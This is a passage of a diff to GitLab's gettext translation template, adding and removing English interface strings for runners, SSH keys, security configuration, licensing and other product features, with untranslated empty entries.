msgid "Related issues"
msgstr ""
@@ -27526,6 +27244,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27541,15 +27262,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27565,9 +27280,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27715,15 +27427,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27733,15 +27448,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28147,6 +27853,9 @@ msgstr[2] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28297,12 +28006,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28318,9 +28021,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28417,6 +28117,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28426,9 +28129,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28495,12 +28195,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28510,6 +28219,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28519,9 +28231,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28534,9 +28255,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28579,12 +28306,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28615,6 +28348,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28693,6 +28432,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28744,10 +28489,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28780,6 +28522,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28831,6 +28576,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28915,9 +28663,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29059,12 +28804,6 @@ msgstr[2] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29131,6 +28870,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29152,6 +28894,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29161,6 +28906,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29185,9 +28936,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29197,12 +28957,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29215,7 +28984,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29224,6 +28996,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29236,6 +29014,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29248,7 +29047,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29311,6 +29110,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29416,6 +29218,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29518,9 +29323,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29551,9 +29353,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29656,9 +29464,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29752,7 +29557,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29791,10 +29596,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29836,9 +29641,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29881,6 +29683,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29971,6 +29776,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30151,9 +29959,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30178,6 +29983,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30202,9 +30010,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30232,9 +30037,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30268,12 +30070,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30322,6 +30118,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30655,9 +30454,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30760,6 +30556,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30826,12 +30625,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30865,9 +30658,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30910,9 +30700,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30964,6 +30751,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30982,6 +30772,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31084,15 +30877,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31309,12 +31093,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31333,7 +31123,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31363,6 +31153,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31450,6 +31243,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31459,9 +31255,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31816,6 +31609,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31834,7 +31630,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31906,9 +31708,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31921,7 +31720,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31969,7 +31768,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31984,7 +31783,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31993,10 +31792,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32188,6 +31987,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32548,7 +32350,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32557,6 +32359,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32566,6 +32371,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32599,9 +32407,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32635,7 +32440,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32665,6 +32470,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32740,6 +32548,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32761,15 +32572,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32854,18 +32665,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32929,9 +32734,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32950,10 +32752,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32968,9 +32770,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32980,9 +32779,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33001,9 +32797,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33145,9 +32938,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33268,6 +33058,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33343,6 +33136,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33376,7 +33172,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33472,6 +33268,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33511,9 +33310,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33598,7 +33394,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34339,9 +34135,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34426,9 +34228,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34528,9 +34327,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34543,6 +34351,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34591,6 +34402,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35071,12 +34891,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35167,21 +34981,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35317,9 +35116,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35656,9 +35452,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35788,6 +35590,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36085,9 +35890,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36097,9 +35899,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
